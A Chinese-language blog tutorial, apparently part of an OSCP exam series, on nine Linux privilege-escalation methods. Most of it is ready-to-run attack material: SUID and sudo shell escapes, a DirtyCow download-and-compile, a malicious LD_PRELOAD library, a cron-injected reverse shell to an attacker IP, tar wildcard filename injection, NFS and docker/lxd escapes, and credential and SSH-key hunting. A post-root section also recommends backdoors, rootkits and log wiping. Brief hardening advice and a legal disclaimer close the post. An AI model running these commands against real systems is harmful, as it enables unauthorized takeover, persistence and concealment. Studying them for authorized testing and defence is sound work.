当前位置:首页>Linux>第15期|Linux权限提升:从“平民”到“皇帝”的九种姿势

第15期|Linux权限提升:从“平民”到“皇帝”的九种姿势

  • 2026-10-11 05:53:53
第15期|Linux权限提升:从“平民”到“皇帝”的九种姿势

第15期|Linux权限提升:从“平民”到“皇帝”的九种姿势

兄弟们,拿到一个Linux shell只是开始。如果你只是一个普通用户,那就像在皇宫里当扫地太监,看得见宝藏但摸不着。今天,我们就来聊聊怎么从“扫地太监”升级成“皇帝”(root)。Linux权限提升,说白了就是从低权限用户(比如www-data)变成最高权限用户(root)。在OSCP考试和真实渗透中,这几乎是必考技能。今天,我总结了九种最常用的提权方法,手把手教你“翻身做主人”。


一、信息收集:摸清家底再动手

提权就像打仗,情报第一。拿到一个shell,别急着瞎搞,先摸摸系统里有什么。

系统信息

# 看系统内核版本,找已知漏洞
uname -a
cat /etc/issue
cat /proc/version

# 环境变量,可能有密码
env

# 找SUID/SGID文件(重点!)
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 找可写目录/文件
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v "/proc/"

# 定时任务(重点!)
cat /etc/crontab
ls -la /etc/cron*
crontab -l

用户和组

# 当前用户
whoami
id

# 用户列表
cat /etc/passwd

# 组列表
cat /etc/group

# 查看sudo权限(重点!)
sudo -l

# 历史命令,可能有密码
cat ~/.bash_history

网络和服务

# 网络接口
ifconfig
ip a

# 活动连接
netstat -tuln
ss -tuln

# 进程
ps aux
ps -ef

自动化工具

  • LinPEAS:最全面的枚举脚本,能自动标出高风险点。
  • LinEnum:轻量快速,基础枚举。
  • linux-exploit-suggester:根据内核版本推荐漏洞。

记住:信息收集越详细,提权成功率越高。别懒,把每条命令都跑一遍。


二、内核漏洞利用:简单粗暴的打法

如果内核版本比较老,有公开漏洞,那提权就像捅破一层纸。

步骤

  1. 确定内核版本:uname -a
  2. 搜索漏洞:searchsploit linux kernel 3.13 或者去Exploit-DB网站搜。
  3. 下载编译执行。

经典内核漏洞

  • **DirtyCow (CVE-2016-5195)**:影响Linux内核2.6.22到4.8.3,几乎通杀。
  • **Overlayfs (CVE-2015-1328)**:影响3.13.0到3.19.0。
  • **PTRACE_TRACEME (CVE-2019-13272)**:影响5.1.17之前版本。

示例:DirtyCow利用

# 下载漏洞利用代码
wget https://www.exploit-db.com/download/40839 -O dirty.c
# 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 执行,设置新root密码
./dirty password
# 然后用新密码su root

注意:内核漏洞利用可能让系统崩溃,在生产环境要小心。但在OSCP考试里,放心用。


三、SUID/SGID文件利用:捡到“尚方宝剑”

SUID(Set User ID)是Linux的特殊权限,允许用户以文件所有者的权限执行程序。如果文件所有者是root,那我们就赚大了。

查找SUID文件

find / -perm -u=s -type f 2>/dev/null

常见可利用的SUID文件

  1. find:最经典的SUID提权。

    find . -exec /bin/sh -p \; -quit
  2. vim/vi:如果vim有SUID权限。

    vim -c ':!/bin/sh'
  3. bash:如果bash有SUID权限。

    bash -p
  4. less/more:用来读文件,但也能执行命令。

    less /etc/passwd
    # 在less界面里输入
    !/bin/sh
  5. nmap(旧版本):nmap以前有交互模式。

    nmap --interactive
    !sh
  6. cp/mv:如果能以root权限复制/移动文件,可以替换系统文件(如/etc/passwd)来添加root用户。

GTFOBins:这是一个宝藏网站(gtfobins.github.io),收录了各种可以用来提权的二进制文件。遇到不熟悉的SUID文件,先去这里查。


四、Sudo权限利用:合法的“狐假虎威”

Sudo允许普通用户以root权限执行特定命令。如果管理员配置不当,给用户的sudo权限太大,就容易被利用。

查看sudo权限

sudo -l

常见sudo提权方法

  1. sudo执行编辑器(如vim、nano):

    sudo vim
    # 在vim里执行
    :!/bin/bash
  2. sudo执行解释器(如python、perl):

    sudo python -c 'import os; os.system("/bin/bash")'
  3. sudo执行find:

    sudo find . -exec /bin/bash \;
  4. sudo执行man:

    sudo man man
    # 在man里执行
    !/bin/bash
  5. sudo执行awk:

    sudo awk 'BEGIN {system("/bin/bash")}'
  6. sudo执行nmap(新版本):

    echo'os.execute("/bin/bash")' > /tmp/shell.nse
    sudo nmap --script=/tmp/shell.nse

环境变量利用

如果sudo配置了env_keep,保留了LD_PRELOAD等环境变量,我们可以劫持共享库。

# 创建恶意共享库
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    system("/bin/bash -p");
}
EOF

# 编译
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c

# 利用
sudo LD_PRELOAD=/tmp/evil.so <允许的命令>

五、计划任务利用:守株待兔

计划任务(cron jobs)通常以root权限定期运行。如果任务调用的脚本或程序我们可以修改,那就可以“守株待兔”,等root自己执行我们的恶意代码。

查找计划任务

cat /etc/crontab
ls -la /etc/cron*
crontab -l

利用方法

  1. 找到以root运行的计划任务。
  2. 检查任务执行的脚本是否可写。
  3. 如果可写,直接修改脚本,添加反弹shell。
    echo'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' >> /path/to/script.sh
  4. 等待计划任务执行,接收shell。

通配符利用

如果计划任务里使用了通配符,比如:

tar cf /backup/backup.tar *

我们可以利用tar的--checkpoint参数注入命令。

# 创建恶意脚本
echo'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /home/user/runme.sh
chmod +x /home/user/runme.sh

# 创建特殊文件名
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh

# 等待tar执行
# 然后运行
/tmp/rootbash -p

六、NFS配置错误:隔山打牛

NFS(网络文件系统)配置不当,也可能导致提权。如果NFS共享配置了no_root_squash选项,那么客户端上的root用户在挂载的共享上保持root权限。

检查NFS共享

# 在攻击机上
showmount -e 目标IP

利用步骤

  1. 在攻击机上挂载NFS共享:

    mkdir /tmp/nfs
    mount -t nfs 目标IP:/共享路径 /tmp/nfs
  2. 在挂载的共享上创建SUID程序:

    cat > /tmp/nfs/root.c << EOF
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    int main() {
        setuid(0);
        setgid(0);
        system("/bin/bash -p");
    return 0;
    }
    EOF
  3. 编译并设置SUID权限:

    gcc /tmp/nfs/root.c -o /tmp/nfs/root
    chmod u+s /tmp/nfs/root
  4. 在目标服务器上执行(需要能登录目标服务器):

    /path/to/shared/root

七、其他提权方法

密码和凭证查找

# 配置文件里找密码
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# 找SSH私钥
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null

# 历史命令
cat ~/.bash_history

PATH环境变量利用

如果root用户执行的脚本中调用了没有绝对路径的命令,我们可以通过修改PATH,让系统执行我们自己的恶意程序。

# 假设root执行的脚本里调用了`service`命令
# 我们创建一个恶意service程序
echo'/bin/bash' > /tmp/service
chmod +x /tmp/service
# 修改PATH
export PATH=/tmp:$PATH
# 等待root脚本执行

库劫持

利用LD_LIBRARY_PATH环境变量,劫持共享库。

Docker组成员

如果用户属于docker组,可以挂载主机文件系统。

docker run -v /:/mnt -it alpine chroot /mnt sh

LXD/LXC组成员

类似Docker,如果用户属于lxd或lxc组,可以创建特权容器。

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exectest /bin/bash

八、提权后该做什么?

拿到root权限,别急着庆祝,先做这几件事:

  1. 稳定shell:用python或socat建立一个更稳定的shell。
  2. 抓密码:提取/etc/shadow,尝试破解。
  3. 留后门:添加SSH密钥、创建新用户、安装rootkit。
  4. 清日志:清除入侵痕迹,但OSCP考试通常不要求。

九、防御建议

知道怎么攻击,才能更好防御。给管理员的建议:

  1. 最小权限原则:用户只给必要的权限。
  2. 定期更新:系统、内核、软件都及时打补丁。
  3. 安全配置:禁用不必要的服务,检查SUID/SGID文件,配置安全的sudo权限。
  4. 监控日志:关注异常登录、sudo使用、文件修改。

总结

Linux提权就像闯关游戏,需要耐心和技巧。从信息收集开始,一步步尝试各种方法。在OSCP考试中,通常不止一种提权方法,如果一种不行,赶紧换另一种。

下期预告:Linux提权讲完了,下次我们讲Windows提权。从User到SYSTEM,又是一场硬仗。关注我,带你通关OSCP。

互动一下:你在提权过程中,用过最骚的操作是什么?是SUID、sudo还是内核漏洞?评论区分享你的故事。

(本文所有技术内容仅用于合法授权的安全测试与学习,任何未经授权的攻击行为均属违法,必将受到法律严惩。)

最新文章

随机文章